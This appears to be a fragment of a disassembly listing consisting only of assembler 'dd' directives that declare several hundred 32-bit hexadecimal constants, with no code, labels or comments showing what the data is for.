		dd 25E6779Dh, 64FD1DBAh, 0A87BFA1Bh, 4C9AC9B2h,	0D399A396h
		dd 827EAF62h, 0AF5F841Bh, 0FB84A587h, 0E682507Eh, 93CBE422h
		dd 0AEF1B8Bh, 0AEDFF955h, 0DADC7095h, 118DA6A9h, 0FD721934h
		dd 0E0CC8476h, 252C1E2Ah, 95957CCEh, 0B846C3FAh, 75295123h
		dd 50311745h, 0EADB37EBh, 0A8D7E3D4h, 97D864E3h, 23764536h
		dd 0E2C3569Bh, 9D1E0404h, 4269164h, 0EDC26865h,	1EEBDA21h
		dd 9AD7CC12h, 406A0323h, 51BB74A1h, 6CFBEF34h, 3A3FED55h
		dd 0CA339EBDh, 0C7EA028Bh, 0BF3ABA2Ch, 188E068Ah, 0BC62CC58h
		dd 6B4C1626h, 7C5D3F61h, 0DC88A100h, 94486C5Ch,	42F421AFh
		dd 0CDB45642h, 0BC4CCEF5h, 9B2B554Fh, 98AAF5D2h, 238B4AEDh
		dd 27CFC73Eh, 0DF7D3B04h, 7268F583h, 61E7397Eh,	0C940337Ah
		dd 3E8F6E3Dh, 0F8D58E1Dh, 0D994B9F9h, 86CF5847h, 7B149435h
		dd 0F5173651h, 0D1AE9677h, 19681931h, 0E407E745h, 7085AA58h
		dd 98EFF1C6h, 0DCE6C13Ch, 69212290h, 745DDA61h,	0AD3B917Ch
		dd 595828E8h, 0D320CF7Fh, 93B546A9h, 6C0367D3h,	3D5B6CEAh
		dd 7D3385E8h, 4107C3F9h, 91440211h, 0A38D867Fh,	0EFC40482h
		dd 0ACFB3DD6h, 4604F27Dh, 979277AEh, 0F5DA86D6h, 0CEB06036h
		dd 200A1DA9h, 17863B7Ch, 99C1F4F1h, 8868398Dh, 87C8D904h
		dd 621200BCh, 0DF3647F7h, 90558587h, 0E848CF3Bh, 0E3928C31h
		dd 2D717A4Bh, 189DF6DBh, 5378D7A3h, 64229330h, 15760625h
		dd 85C73881h, 5440BFBCh, 78B585E9h, 4C31F6F3h, 4EC73BBBh
		dd 32B31EE1h, 17FDAEB7h, 7B29EB0Fh, 84F05879h, 7741982Fh
		dd 4A23DFF8h, 0CFD53315h, 0B3637FDAh, 0C512B590h, 0A340A94Fh
		dd 2D1529E5h, 77434C35h, 46591D63h, 4D26B3E8h, 0B919922Ah
		dd 25E7D220h, 30BA4A8Ah, 0C0C7A0F9h, 7FEEE4F0h,	0F5E39A9Ah
		dd 0B2CF2305h, 998ACA8Dh, 0E7E5CEB1h, 0EF1034F9h, 0D606DD1Ah
		dd 407BA27Bh, 0A7ADEB25h, 3A10E9D7h, 67CE92C7h,	1F26992Eh
		dd 21042008h, 1620F3FCh, 919ABCD3h, 0C27E6033h,	0E532539Bh
		dd 36A96924h, 0B17A90DAh, 0FC5D8B85h, 0FD74D45Bh, 7F7C3466h
		dd 0E8AAEB93h, 64B3C133h, 93EFB3CEh, 0F9FBF716h, 0ACE37295h
		dd 0B2768403h, 270C4142h, 26BEDB25h, 58EFF907h,	0D72B778Ah
		dd 7847BB29h, 0C6A45E61h, 1B93D704h, 0D16EB256h, 3796DEDFh
		dd 0D69701Eh, 73E4199Ch, 8F6731CCh, 4A02CDEEh, 0BCF05754h
		dd 0D6993D70h, 7AA3BBE8h, 332B5A45h, 9B03DCD9h,	0C052B4FAh
		dd 3C3A6316h, 0C3100567h, 5F61085Dh, 0CE91BBA6h, 0A57EC31Fh
		dd 317555CBh, 0C3D35B7Fh, 0DBF09Ah, 63F7574Fh, 9E6FE979h
		dd 4EA536BEh, 51C15ED4h, 718C7A25h, 18E8A597h, 0A031EC3Eh
		dd 5D153629h, 3A13116Bh, 0BEC18EF4h, 0BFA17BEBh, 995EA21Ch
		dd 9C9AD1D8h, 51260B5Bh, 0D3D57EBFh, 0B6D042F3h, 728E5B2Ch
		dd 0F60FB676h, 0E6FEEB12h, 0BC07E6B7h, 1988CA8Bh, 4F8012DBh
		dd 73E2966Ch, 0AB172B3Ah, 8A0CF31Ah, 57D4E328h,	3D1CE80Bh
		dd 0C3B7ED7h, 2DE1F812h, 23244B90h, 0E1E8C0BCh,	8DDF653Ah
		dd 61831FBBh, 274DD6C2h, 0F7C5C19Ah, 0F506941Eh, 0BAC04F4Eh
		dd 0B5527506h, 822193DFh, 8EBF038Bh, 0D7FB7296h, 7A3D44Fh
		dd 346D0989h, 46435AACh, 5C324DCBh, 0D4CD09CAh,	907A650Fh
		dd 0B756512Bh, 0F515568Fh, 57162889h, 0E79BFB53h, 339986BBh
		dd 99FF7DEAh, 0B7372E15h, 4F54B580h, 5462A139h,	2F4379D2h
		dd 0F442B635h, 5F8BCA4Ah, 0BFF2BA86h, 0EF17A9E4h, 142A34DFh
		dd 0FB3980E2h, 6939CC96h, 30BB5C3Dh, 45494D55h,	71374E46h
		dd 104FD301h, 0E49109F0h, 0CE09792Fh, 0AE7E967Fh, 56F0D561h
		dd 0E9ED512Dh, 0E67B9CD1h, 5E2BE1ECh, 0FE8B8EBEh, 2BBDA14Ah
		dd 0AEB2002Ah, 0A22CD01Bh, 0F709FEE4h, 0CC7B55E8h, 76B59750h
		dd 32491E8Fh, 91FC3E66h, 0D3D0609Eh, 8AE67746h,	0F70DFD9Dh
		dd 5796F236h, 0BDD29270h, 78A0A138h, 0F08FC9D5h, 48B20F4Fh
		dd 27CCEC9Ah, 5E3650A5h, 9308E4B0h, 0CD41F816h,	691CE45Fh
		dd 73E7ECEh, 7D6D781Dh,	3C336A67h, 0B657F3BEh, 91D65BF8h
		dd 5D7418Fh, 9434E2Fh, 4B1F247Bh, 0D567F042h, 0FECA9DBEh
		dd 3F8A4236h, 2AFD390Eh, 0DBC73A74h, 2F75F657h,	684D2465h
		dd 0A2BCDD24h, 1749DC5Eh, 0E1CE8AA3h, 0E171BFC7h, 40CE5366h
		dd 0B52454F4h, 2CBEE93Dh, 6AA67B32h, 0C1981010h, 0D580473Bh
		dd 0D7D298B6h, 49A59B78h, 383CD8BEh, 44090A12h,	1048F117h
		dd 0CA2977DBh, 5BF9F6AAh, 0D7D1582Ch, 0DF65A353h, 0FCCEB88Bh
		dd 0DB947F49h, 7C017164h, 0FB0F2393h, 7F62ED1Dh, 0CCFAB3D8h
		dd 2AD51AF8h, 427EAC9h,	0AE2CF2D7h, 52A9ACC6h, 0FEF354A0h
		dd 86746B5Eh, 8DD447FBh, 50C83C11h, 0F3E731A3h,	0CCA71DC4h
		dd 0DA0964E1h, 0DCF7563Bh, 0A22B2C63h, 63956F12h, 41CFE887h
		dd 301C7188h, 0CA24F216h, 8FD37F02h, 7433473Fh,	0CF94B46Dh
		dd 589E8FB8h, 84C28F70h, 0BF580503h, 31105948h,	0EF89DBBh
		dd 700BB9Bh, 9AE14804h,	0D7634475h, 0B5304381h,	0F51070A3h
		dd 9FB68B36h, 0EDA59Ah,	0A2CEEA27h, 91C02F58h, 0C501A743h
		dd 46AF6E2h, 0F71BE7F1h
		dd 37B19E1Dh, 9333E8E2h, 0D3C89E14h, 0D67CB1B5h, 7E650D9Ah
		dd 0E3AE1400h, 54B81F39h, 87F14DBDh, 17E2864Eh,	94AD5EACh
		dd 0F6DE1177h, 8C698E24h, 4D636AB1h, 0C1749380h, 2C7D3E6Fh
		dd 74B1EA8h, 0FD446293h, 17429002h, 4F2ECF5Eh, 2DA70857h
		dd 7B423CB8h, 7FDD93BCh, 433F5FD9h, 0F9D44C02h,	4A210269h
		dd 0B7597B50h, 9A48729Fh, 0D65957F3h, 3F990A91h, 49996B4h
		dd 0A2B31A7Eh, 0D71C4029h, 397D6914h, 457BEDC4h, 0CC0AB6D4h
		dd 0C34364FDh, 12742A88h, 0C13FA2CCh, 0EEC0AC9Eh, 1C948BD7h
		dd 0CE836158h, 7E95CB12h, 0DBAAD59Bh, 84B9488Fh, 1236B231h
		dd 0E2821549h, 0D42A28B4h, 42F474CCh, 0C3B6168Eh, 0A873669Fh
		dd 0A6BDEB19h, 0A906C4F5h, 0E4B93C9Bh, 2D2A744Ah, 8CF8F6F8h
		dd 0AE730F5Eh, 1D0407F2h, 338E490Ah, 2F88ED49h,	70F13538h
		dd 87420307h, 5B12A55Fh, 0C82EEFFBh, 98787EACh,	0B25318C9h
		dd 51E7B982h, 40B4F50Ch, 11971820h, 3C448AC2h, 6FC54FA1h
		dd 0C1F3616Dh, 0CEA4F728h, 0B3FD4CA1h, 1ED19CD5h, 0EE3897CBh
		dd 0C6546836h, 0D4115A65h, 0D9F9FE7Eh, 48E7858Bh, 4CA1A730h
		dd 4E8DC385h, 754956B9h, 0DA44FB55h, 6B94DE18h,	2C7F3572h
		dd 0ACE6816Bh, 76679286h, 7DEC980Ch, 0AB1E9A90h, 737C3E9Bh
		dd 583F299Fh, 0B2005DCBh, 0DB54B753h, 0ED708951h, 0FB04696Ch
		dd 51A1FC3Eh, 58AD65Fh,	8C20B39Fh, 0F3D63084h, 0EF18437Eh
		dd 150E9D3Ah, 8A23F0Ch,	0B90864A3h, 11F1F60Ah, 0E79B3B3Fh
		dd 6314C9E2h, 9CB9CBDEh, 0EFF0CA3Dh, 6CF6187Fh,	0B8663617h
		dd 77CE03E3h, 0AB5EDD83h, 3CEB3F39h, 0B5C01F10h, 88236E28h
		dd 0B22E98B3h, 0C3D1F0Ah, 0C8099C1Bh, 2158F0ABh, 6B073666h
		dd 32790E66h, 7E23722Ah, 2CEAF248h, 70ED2BCFh, 76822537h
		dd 5BE32CE5h, 44C157F1h, 6A306D97h, 78B837Fh, 9DAB90D3h
		dd 0DD135F61h, 0ACFF6B09h, 0E364DDD8h, 58131D6Ch, 899203F3h
		dd 0A7A65085h, 8E72A0E0h, 91C9A8AAh, 0F935EC77h, 9EFF4ECDh
		dd 0EAAC89E8h, 910B19C7h, 0ED229364h, 70A7D1B5h, 464E7419h
		dd 0DD1F60Ch, 10953C1h,	15EF7EADh, 0D0B0F2B6h, 0A3EE4D4Bh
		dd 0C45EFECCh, 0F3D3ED52h, 838BF6E2h, 0F4077762h, 0FA358216h
		dd 99DE0A34h, 2020A27Eh, 0BF54B4F4h, 9A2E02EFh,	16963D48h
		dd 6EECE4E2h, 0E62AA43Bh, 1655DFA1h, 0F84122EEh, 907D1F00h
		dd 0F5344280h, 0AF0F9AA9h, 0DCA55000h, 0A034D411h, 1767580Fh
		dd 6B75E867h, 6B4DD01Bh, 9A50E55Dh, 7FC856FEh, 79322DC3h
		dd 27BA5C79h, 9AE40A28h, 64240912h, 0E5EE7C76h,	58A15496h
		dd 0FD9B7378h, 9214DF47h, 2E57AD27h, 0B310B09Bh, 0C91A13E5h
		dd 2C46A56Eh, 4CC9F0D6h, 474A67ADh, 0E17E00E3h,	0DE2FCBA0h
		dd 646A6201h, 665B9C90h, 80194677h, 1F19E7D9h, 864C0827h
		dd 3CBD4866h, 0BB9B5BB0h, 1AEC814Ah, 0CE04DDDAh, 517DB5F6h
		dd 200904A7h, 3E99D6E0h, 51190E15h, 130AED34h, 0E5BCC0EAh
		dd 47D6703Ch, 0ADA0B948h, 0A8262F3h, 0AEFF6D57h, 926CC05Eh
		dd 198C98DDh, 0D320D2C9h, 0D210E8A3h, 0F1AF2CB7h, 9CA982CCh
		dd 3FEBD170h, 0F9AA7128h, 0FAFE5AF9h, 3775BAD5h, 0FFBCDA46h
		dd 0D72156F2h, 7BCCDB5Dh, 0DED3EFE2h, 483F1756h, 1B98755Bh
		dd 785AAC00h, 708E5C6Eh, 0F5933C27h, 0E59C492Dh, 55E1DEB0h
		dd 0F2A27513h, 76D89908h, 8B810B08h, 970F0415h,	0EDE5F190h
		dd 7AA5A61Dh, 0D4468422h, 1056B746h, 0A3696416h, 6295FEB9h
		dd 0A19ACF77h, 87158088h, 0B315032h, 0F1F29FC1h, 0EF0024B7h
		dd 0C22E946Ah, 948D876Ch, 93BEB281h, 0A2695A9h,	430D7CC7h
		dd 0CB295B91h, 0AB466AA4h, 68174A2Eh, 0E83F5073h, 0C19B1410h
		dd 213052E7h, 13BA77C4h, 0CB486613h, 47DF3651h,	0D4190141h
		dd 4F0D01C5h, 9B701FCCh, 3F638445h, 2AC888Bh, 0E26BA666h
		dd 8BA59183h, 0D4E59728h, 86B488DFh, 0B6BA73CFh, 0CA033FB1h
		dd 0F1FEA743h, 3DD724F1h, 0E146952Ch, 3C6E9A08h, 4FC87A2Dh
		dd 0ED338DECh, 0C12B8075h, 0CA77ED12h, 0CBA1DB66h, 0CD99BB89h
		dd 1DB9B84Ah, 82871D4Fh, 0BF9FD70Ch, 82C5ED3Fh,	0EE7778B5h
		dd 941AC12Dh, 21021713h, 0C89489ABh, 0F7E43F0Bh, 0D3107FC9h
		dd 18B1F4D4h, 0EDEFB704h, 28C2580Ch, 2C001DD6h,	4BF32023h
		dd 8E494FACh, 0DD3B094Fh, 0E77826C9h, 7C6DC106h, 25CF680h
		dd 0CABEDA61h, 970F4E19h, 92169FD9h, 46B3CA69h,	0A2DFBE99h
		dd 5DF0D6F9h, 72EADA60h, 0F14C7A76h, 43A0D3FDh,	9A35385Ch
		dd 82595D18h, 37489020h, 3F64D91Ch, 0BBE2FC4Dh,	6FD57F75h
		dd 77462092h, 883F86Ah,	6EDB4781h, 0F80A0688h, 382123F2h
		dd 3C9FB815h, 0A997494Fh, 0C8F27B01h, 0E19E6B39h, 7C41E829h
		dd 0AE5C0213h, 0C15C1400h, 61927F4Bh, 7331DB09h, 0CADF015Eh
		dd 8251FEB7h, 6D858055h, 1D7222EAh, 13C98ABFh, 7B848BFDh
		dd 2FD0033Eh, 707B3B25h, 84E19664h, 875F0CFAh, 0C2C0B5Ah
		dd 22792415h, 0C3B248D0h, 8AA1CF47h, 0EA7D65EBh, 0D28CF6DEh
		dd 0DF992DC1h, 9D97CFE1h, 39B2AB9Ch, 3BC41EE2h,	6AF69E66h
		dd 5E5D75ACh, 8F678053h, 0C5E44F21h, 0F2780A03h, 0B901A774h
		dd 2710E388h, 4FA20C96h, 84DF3144h, 0FDC420CBh,	61006A10h
		dd 0C17C9C64h, 0FE32D3E8h, 0EE644627h, 7DA5150Fh, 84E1B4C4h
		dd 67B790B2h, 0CF16F1C6h, 795F5D0h, 3A4D1D66h, 9EBECF70h
		dd 9301974Ch, 0AAFA71ABh, 80FB4290h, 0EA14B328h, 86F715D4h
		dd 0A868BAB4h, 648E870Dh, 196CD032h, 0CE21E976h, 2F5EDBCFh
		dd 3359F9D3h, 0DA4342A4h, 4AF3F0C1h, 0E10C0989h, 357294A2h
		dd 392299E0h, 0C9620705h, 96D49BC2h, 11E49659h,	94235378h
		dd 31A21EC0h, 0ABA8968Ah, 6740491Bh, 27B2AC8Ch,	72E2AAC9h
		dd 7BC6EE3h, 6CFA6514h,	0C5059261h, 0B1A7B676h,	93C05FD0h
		dd 63D0148Ah, 0F9EC1C12h, 16556907h, 0FFFFF35Fh, 0A393C9C2h
		dd 9EE01597h, 0A99D77E9h, 0D64D2046h, 2048A398h, 0EF88F00h
		dd 3361A6ACh, 2555FE32h, 0F80C2729h, 8CA79205h,	0D0EDA264h
		dd 4BB8458Bh, 1F3ECA31h, 149C1BF1h, 0E02B024h, 9C06F072h
		dd 0A14A9893h, 0DC9F83A7h, 7B526C2Bh, 2CED9B04h, 0F7CA8F75h
		dd 0C8A4761Eh, 2FB0D314h, 0B250449Ch, 4C7BDB72h, 804BBBD4h
		dd 6037BE1Fh, 0D7075A4Bh, 5DC1FD58h, 0CB5C8B1Eh, 2BA903DCh
		dd 5F2A26B6h, 0DF1234B5h, 81C38A0Dh, 0A75738BDh, 0BE444178h
		dd 0F2E25A1Bh, 14940501h, 37CAD479h, 5F5133E3h,	0BE289636h
		dd 3E313D21h, 7B8EC006h, 898814E0h, 3FC21A2Eh, 0C05818B7h
		dd 3A3CA228h, 0A9C26323h, 0F1E3BB85h, 0BD611695h, 2866EE2Ch
		dd 0C3D79794h, 3D2A422Eh, 0A160AB47h, 0A926715Ch, 7FCDDCh
		dd 0BD4C9DB2h, 7FA67658h, 0E4125888h, 84A7439Fh, 0EBE7FDAh
		dd 9A50EF6Ch, 89730E28h, 4E6958F7h, 4942590Dh, 0E7E5633Bh
		dd 0E2639A5Bh, 0F290E20Ch, 0D8AEF904h, 62BDC229h, 3CCCDB5Fh
		dd 9FBF29F3h, 0D752A050h, 29B8300Bh, 0BFF16AC8h, 421CE753h
		dd 0B64A0B9Eh, 0D285582Ch, 4F1CC4CFh, 0BBE15A82h, 0B3213BAAh
		dd 0FA5A6F7h, 0B175A070h, 0B172D583h, 0D3EB165Fh, 8F8C7F6Dh
		dd 98FF9791h, 0BC992798h, 0A4103DD2h, 783EBB08h, 98AFD2E7h
		dd 0ED815211h, 0C6A8E714h, 0BF9EC157h, 3EBD26ABh, 21F17A8Bh
		dd 61D96FB4h, 0F62E4760h, 0F358DFABh, 6432F0C7h, 3E569D5Ah
		dd 0F81BD637h, 16C315A3h, 697753E6h, 0D62687CEh, 88BBA114h
		dd 6831EB3Ch, 0E6B16F50h
		dd 0CDCF74Dh, 0DE63A4ABh, 4367902Dh, 0CCB9FD25h, 0BF2F539Eh
		dd 63D421EFh, 0F146B6EDh, 5F0164BEh, 3C5C3670h,	260018F4h
		dd 0C8033054h, 346692AAh, 887FF014h, 0CC94CBCDh, 2D5C383Eh
		dd 0D48CBDF5h, 9103EA3Ah, 0D769ED67h, 52F1F509h, 0BB495368h
		dd 5A03B3B8h, 0D88B87ADh, 0D812BD3Ch, 0C016E994h, 0B196A7A0h
		dd 0B769AD02h, 0A1C7BE12h, 0CC0C698Bh, 0E6E87ABAh, 0C6B1492h
		dd 0A2578F43h, 3E2C8E7Bh, 771795Ah, 0A9E4B80h, 6467D14h
		dd 0A65D3A94h, 1566C2B5h, 65AD1E98h, 479AAEDCh,	3623F640h
		dd 0A369FDA8h, 302F3946h, 0A9E753Eh, 4A3C475Ch,	1E6B9A33h
		dd 6717892h, 7D42E0A8h,	67913C4Ch, 0D1D95537h, 16EBF6C1h
		dd 33958FF4h, 9C068304h, 0F4BF9533h, 52B0B4EBh,	0CFB2659Ah
		dd 0D67793D4h, 58E7B51Ch, 8F7FCCA9h, 9F63EAA7h,	9BDA6D2Ch
		dd 8ADEBB87h, 283DD455h, 32A42031h, 7F4A0169h, 548A8E54h
		dd 0CA8B19B9h, 661E6827h, 8B5FF829h, 0BC760C52h, 42631C2Ch
		dd 0B0CF915Ah, 0A8517FFCh, 0F0E6108Dh, 4844569Eh, 3BAA2FCEh
		dd 0DEE60379h, 0CEE2098Dh, 8D9216ADh, 81E87E32h, 0C1D56B47h
		dd 0F4EAEF07h, 0F7B12A88h, 0DC845D17h, 0ACFBDCC5h, 3672A7B9h
		dd 70C21502h, 0C45F4B9Eh, 2C555441h, 67718B5Bh,	76A28822h
		dd 95D72980h, 4785958Bh, 361271Ch, 0D2FC3F10h, 66D8D9E2h
		dd 683CE46Fh, 0A3C0CCA1h, 3DF5D43Eh, 0BA0F2648h, 0B23951C5h
		dd 3E25CA24h, 0CE47D58Ah, 0D5F13E5Ah, 2A91CC1Eh, 39EA8493h
		dd 0E0CBC25Bh, 6B0BF893h, 76F3DE24h, 8D905A25h,	9AAF5F94h
		dd 386B5BE9h, 0E544B2DEh, 0CAC63A1Fh, 0F59D24F2h, 0DF52004Bh
		dd 0B22070B3h, 3A178388h, 24BBDF0Ch, 4160D7A0h,	0CD2DDA12h
		dd 60C142h, 452DE271h, 16627A43h, 2FA68E52h, 837950EFh
		dd 0A7DD6F84h, 0D6A03613h, 0D4F4412Ah, 775326B1h, 0DBAD4D00h
		dd 11A26273h, 59A47C38h, 0B3007E14h, 0F855A3A9h, 30D331BAh
		dd 66BB4210h, 20F1B096h, 0EB7EE505h, 0FAB7ECE7h, 0D02B86A9h
		dd 49CBC0C0h, 0BB006615h, 75D5F7D5h, 4CE07DF5h,	0B1BC58Eh
		dd 4657E8Ch, 0DB1A1626h, 54FA48BEh, 26963BD9h, 0C7172D43h
		dd 0BDA96D2Ch, 4FA3DC1Bh, 0B38FAF2Dh, 0F0B39DACh, 4D7F93EAh
		dd 849BDFD9h, 9D4BD3D1h, 5CE4CDA7h, 147EB5E2h, 26608DB3h
		dd 0EBB86A54h, 611424DDh, 3224FE59h, 1CF0BA20h,	0A3CC230Dh
		dd 50632FD9h, 0A5414CBEh, 2F7BE8F2h, 0A224168Ch, 75A01CD0h
		dd 70B4C798h, 0AE11C729h, 56078EFAh, 4B756C24h,	35890CA0h
		dd 0F55D230Eh, 0B40AA479h, 1F40C404h, 361402E8h, 4D59533Bh
		dd 94208AE8h, 0F7D6BD2h, 12EADC1Dh, 145A0262h, 155B8BC9h
		dd 6712DA22h, 83EF1208h, 9E5AD0E3h, 0C45D7633h,	8BFB081Ah
		dd 8DFCA980h, 0B3A7B45Bh, 72B94DF7h, 3395C8D1h,	0EDE96F29h
		dd 183F3CD0h, 0AE74EE86h, 32AF52B8h, 0EA8A84FBh, 33D4BDFEh
		dd 99F9EFEFh, 692FFBFBh, 243931FFh, 10DAFB91h, 4418E246h
		dd 25C7E99Bh, 84608F35h, 672DEA0Ah, 1763E12Ch, 26649597h
		dd 7CBD6A4Bh, 0FEBBEBA8h, 0C2F283E2h, 924B3778h, 0DA5CB17Ch
		dd 1C7B1933h, 92502C3Ch, 9B306839h, 7B7EB79Bh, 0B08750DFh
		dd 90CC8F47h, 0C357D188h, 4A9643E3h, 0CDEE7888h, 3E3DA350h
		dd 0EA00544Eh, 0DE77AF54h, 0FD1E6AD1h, 0BA5C8D7Fh, 0CA7D89DAh
		dd 5DDC92CEh, 0F2151375h, 1FBCFCE7h, 0F4FC34Fh,	7C3913F0h
		dd 0BA8A3C4Dh, 4721EB14h, 0F2A49F59h, 0A21454E1h, 0FDD4F6ECh
		dd 19512026h, 9A724E01h, 0A89F7BB9h, 6D61FF22h,	56652836h
		dd 0F3DEC514h, 38947479h, 0A654A828h, 0D933BED0h, 0C5864197h
		dd 6486735Ch, 69BBE7CDh, 4DC13E5Eh, 150EA3Bh, 0FEF9F3D5h
		dd 59A794C1h, 93544748h, 5290C63Eh, 5BD058C4h, 0F90A9C3h
		dd 207A9DA6h, 6BFCC5BAh, 320658F4h, 0F99B0A7Fh,	66E5F8F2h
		dd 43C217E9h, 50B31BFEh, 1714FA19h, 1FD92702h, 916E9B64h
		dd 0F09FA280h, 6312C367h, 64ED6C54h, 0EFC04FEh,	0A93089BEh
		dd 5FCBEE43h, 449618C0h, 0BA05A8C6h, 9BF303A2h,	804B8C6Ah
		dd 6FD71C9Ch, 807810C1h, 471F2564h, 3CB6186h, 0F46D1A4Ah
		dd 9DAAF461h, 0EEDD3EC3h, 0D861DA8Eh, 0B72CD4C1h, 4464C50Ah
		dd 63EB80Ch, 2994E62Eh,	0A8F91E1Eh, 0F92D145Dh,	5A8FB42Dh
		dd 6F1B2985h, 0F262072Fh, 7B3487F3h, 0F4378A27h, 427D00D1h
		dd 3D41345Dh, 55DC6BFh,	0BBE7426Dh, 0B86C8D96h,	0F91AFCFDh
		dd 884059A3h, 0F504E276h, 7E3D9B86h, 89DB6265h,	3CCCF189h
		dd 212696EDh, 887ECFF0h, 84EBC8F1h, 0F6EAD207h,	0F49ABA93h
		dd 9C3CD485h, 78158D2Ah, 0A51708C9h, 1B7BE4C3h,	0CDE2A47Ah
		dd 165B9091h, 0FF7F92ACh, 4B403137h, 0E59B8B5Fh, 0BAB2657Fh
		dd 2953A0A2h, 7982F97Bh, 0BC30A059h, 0CC41F5D9h, 0BB68BC82h
		dd 451458D3h, 3C6EAE14h, 2477CB7Dh, 25DB7DF1h, 0DE8F329Ah
		dd 0D4D676F5h, 85C6E07Ch, 3EA3BC5Ch, 2ADA0B86h,	8BFA75EDh
		dd 202F71B3h, 96CD0992h, 0AAD186B9h, 7CA20C5Bh,	0F440C5E2h
		dd 5E915E04h, 72731AA9h, 6993D50Bh, 0ED2B0342h,	0B47408FEh
		dd 397A7253h, 8971803Ah, 0AB1F0D2Ch, 93846213h,	6BCE71BCh
		dd 0BF76A5CEh, 4D30C895h, 38212EC8h, 0E14B94F3h, 460D2098h
		dd 88DBD497h, 1AF11C8Fh, 65F37B94h, 0CB7A9CDAh,	0D9D2E17Ch
		dd 7F7AF934h, 8D94477Eh, 1F359411h, 14693E93h, 40C3776Dh
		dd 0CB80A93h, 0CE37441Bh, 0CDC50ACDh, 0EC1B09D4h, 9029FEEEh
		dd 6B1EE14Eh, 0BB5763A4h, 0AB1460B4h, 8969C07Bh, 0FF2CB2CEh
		dd 0AFB5291Ah, 3FB02195h, 0D429A973h, 2E787A0Ah, 2B7B9A00h
		dd 924B8EB6h, 2E818D7h,	0C5A290C1h, 183D3C81h, 0D3B1A695h
		dd 0D9F0E80Eh, 0EEECCF7Ah, 0B0EDFD1Ch, 0D978C83h, 7469649Ch
		dd 0AFD90DA8h, 8FF9B246h, 0E6CD1B27h, 0E51B9C71h, 7BB84A25h
		dd 0DEAA2E8Dh, 0FD424A93h, 0D4BC7BDBh, 0A60320DBh, 0E0C47EA4h
		dd 4974B0Eh, 0D78F2BA1h, 77C19DE3h, 0BD4B92E2h,	32A32281h
		dd 0FDF5C42Eh, 0EBFAA938h, 2EEC54DEh, 0B597E33Fh, 0CDFC7501h
		dd 1893B475h, 0C2CD5D21h, 4F171B97h, 0A23AB21Fh, 0D763B733h
		dd 0C56AA0B3h, 57584974h, 94C649FDh, 56C63FBEh,	9A0AB1DCh
		dd 0DA49381h, 303B643Dh, 0B1CE077Eh, 5EA2EB7Eh,	50D54715h
		dd 1972B16Fh, 6E10DB3h,	0AFADEB4Dh, 8F6620D2h, 0FCF7BFECh
		dd 0B9AF4781h, 2875278Fh, 977098FBh, 82B069Fh, 0C903C4CBh
		dd 8D99D503h, 3E150894h, 4C4F2666h, 51465B6Ah, 0E1B84141h
		dd 232A1E1h, 2D503033h,	41588B68h, 6820B51Bh, 29C432DCh
		dd 0F2AC830Fh, 662884E0h, 0FAFECB29h, 0E27915h,	8B79A2CEh
		dd 6C4074D1h, 16858444h, 14B52029h, 6DC9A5E1h, 0D208B406h
		dd 4B7A2834h, 4E031570h, 0AA7BFB6h, 82752ACEh, 0A7761070h
		dd 0D808A65Bh, 0FC5B556Ah, 718DFFBh, 0F8241DC9h, 0E636953Ah
		dd 287B9485h, 0F22CC72Fh, 0C4E6924Bh, 0ADB21A3Fh, 0D4BD0FE2h
		dd 4D07E7D5h, 0CDF59EFh, 73BBBCB5h, 256860E1h, 0B8FE1422h
		dd 0F88D5307h, 0E00D0E74h, 0E0A53BAh, 0FC8E0222h, 61B56914h
		dd 61BD3690h, 29E6AFFFh, 59943FA9h, 1FB2210Bh, 0A997E642h
		dd 6B99CF46h, 0A4EB3C3Ah, 0FB7EA581h, 24E9209Ch, 14C01249h
		dd 7CE14AE1h, 9C58A445h, 49042D25h, 0EC5440D8h,	0C449857Ah
		dd 0E3B505F2h, 8FC2CE85h, 0F6FD3221h, 2E29E11Bh, 380360B1h
		dd 0BD70FA36h, 4897DA3Ch, 382FD824h, 0C33DD956h, 0D0C900h
		dd 0CF4356F4h, 5A1A8660h
		dd 0FF0EB1F7h, 0F2661D29h, 4902D53Bh, 71F63DEDh, 0AF127303h
		dd 3280F16Eh, 0C813AD37h, 78C13D2Eh, 0A1749A58h, 0C4156B4Bh
		dd 58CEA259h, 0B3B08A8Fh, 0E843C2F2h, 0AE205CD7h, 0B9AC2FC9h
		dd 0F54C67DDh, 250D2DB5h, 396B7A1Ch, 2FA7BAE1h,	5CEC2373h
		dd 0FB0FE0Ch, 2C4FD342h, 0EFF2F85h, 0A52068E1h,	62CE61F3h
		dd 0A8FE1F4Dh, 0C4DE28C7h, 0A69CF94Dh, 3586CACBh, 9BF7B37Bh
		dd 843DE1A0h, 0BEF42726h, 873148CFh, 4647659Ch,	0D179CEADh
		dd 88723D1Eh, 94175072h, 0EA81BF5Ah, 61204EE6h,	20485DECh
		dd 3D699C8Bh, 0CFCF9007h, 0D45FE4D5h, 0AF6650CCh, 0FC6A73FBh
		dd 5F6967E3h, 0DB408C62h, 0BD4379D6h, 0AA37FD2Fh, 0A8C8EFD2h
		dd 4CE8E9E9h, 0A32DCD08h, 505C2BEBh, 8650AD8h, 75F4418Fh
		dd 5FF92A8Dh, 0FBCC8E30h, 0CE78570Ah, 606C2067h, 0A6BB70F0h
		dd 632B3ECAh, 5783114Ah, 0EAE3CB23h, 9371A942h,	720977E0h
		dd 0D9C165A9h, 76399B99h, 3DF10B70h, 1A4DC083h,	0DF156ECBh
		dd 3D1C69AAh, 0CB615563h, 120CDC96h, 0A790E93Ch, 0F6ED9B55h
		dd 4B05FC5h, 0D3EE12DAh, 38C8D3Ch, 1DD0D1EDh, 0C0493452h
		dd 0F021827h, 1C39D57Ch, 4011B0ADh, 54B70D9Bh, 0F2841A06h
		dd 43313701h, 21FB74F7h, 0B96678B0h, 315E925Fh,	41132326h
		dd 0B081D79Dh, 2B43662h, 9F6DF463h, 208258C9h, 0A4EE0C0Fh
		dd 5C197D97h, 9BC3D60Eh, 468743DAh, 2A769E7Ch, 86DFEC91h
		dd 0B016657Bh, 6C204190h, 0DCA18042h, 7E954DC1h, 6362017Fh
		dd 0A0499CCh, 0B7110F24h, 8BCE7B5Dh, 0F098DADCh, 60D2EE70h
		dd 407AC549h, 2DE79EC2h, 80D3FFB9h, 0CA6FD8BAh,	0DD936A6Fh
		dd 20B3B01Ch, 5594851Fh, 0D215FEDFh, 0F3374956h, 0A4B0B1EDh
		dd 95C9D414h, 4FDC2E80h, 0EEB24428h, 3A579042h,	0D6DAB1CEh
		dd 8441C9D5h, 0F586D52Bh, 0D8CE4E11h, 5CED3E05h, 9C11DF94h
		dd 0D7BCD9E5h, 949D79D0h, 9E9B7F4Bh, 0BBC3D861h, 650DD29Ah
